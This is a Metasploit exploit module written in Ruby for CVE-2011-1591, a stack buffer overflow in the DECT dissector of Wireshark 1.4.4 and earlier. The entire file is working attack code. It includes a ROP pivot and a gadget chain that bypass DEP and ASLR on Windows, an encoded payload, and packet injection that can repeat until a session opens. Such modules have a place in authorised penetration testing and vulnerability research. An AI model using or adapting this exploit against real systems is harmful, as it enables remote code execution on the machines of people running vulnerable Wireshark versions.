require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Capture
def initialize(info = {})
super(update_info(info,
'Name' => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (remote)',
'Description'=> %q{
This module exploits a stack buffer overflow in Wireshark <= 1.4.4
by sending an malicious packet.)
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Paul Makowski',
'sickness',
'corelanc0d3r',
],
'Version'=> '$Revision: 12371 $',
'References' =>
[
[ 'CVE', '2011-1591'],
[ 'OSVDB', '71848'],
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'=>
{
'Space' => 936,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets'=>
[
[ 'Win32 Universal (Generic DEP & ASLR Bypass)',
{
'OffSet' => 1243,
'Ret'=> 0x667c484d,
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 18 2011',
'DefaultTarget'=> 0))
register_options([
OptBool.new('LOOP', [true,'Send the packet every X seconds until the job is killed', false]),
OptInt.new('DELAY', [true,'This option sets the delay between sent packets', 5])
], self.class)
register_advanced_options([
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
], self.class)
deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET','NETMASK','GATEWAY')
end
def junk
return rand_text(4).unpack("L")[0].to_i
end
def exploit
ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"
print_status("Preparing payload")
pivot = [target.ret].pack('V')
rop_pivot =
[
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
0x64f9d5ec,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
0x61C14268,
0xFFFFFFFF,
0xFFFFFFFF,
0xFFFFFFFF,
0xFFFFFFFF,
0xFFFFFFFF,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
0x618d7d0e,
].pack("V*")
rop_gadgets =
[
0x6d7155cb,
junk,
0x6d596e31,
junk,
junk,
0x61c14552,
0x00000800,
0x61c14043,
0x0000009C,
0x6d58321a,
junk,
junk,
0x68610a27,
0x629445a6,
0x62d9027c,
0x6c385913,
0x617bc526,
0x64f8c692,
0x00000040,
0x619638db,
0x6536B010,
0x618d7d0d,
0x618d7d0e,
0x64fa0c15,
0x618d7d0e,
0x61963fdb,
].pack("V*")
pivot = [target.ret].pack('V')
buffer = rand_text(131)
buffer << rop_pivot
buffer << rop_gadgets
nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))
buffer << nops
buffer << payload.encoded
buffer << pivot
filler = 1500 - buffer.length
buffer << rand_text(filler)
pkt = ptype
pkt << buffer
print_status("Sending malicious packet")
open_pcap()
handler
if datastore['LOOP']
while true
break if session_created? and datastore['ExitOnSession']
inject(pkt)
select(nil,nil,nil,datastore['DELAY'])
end
else
inject(pkt)
end
close_pcap
end
end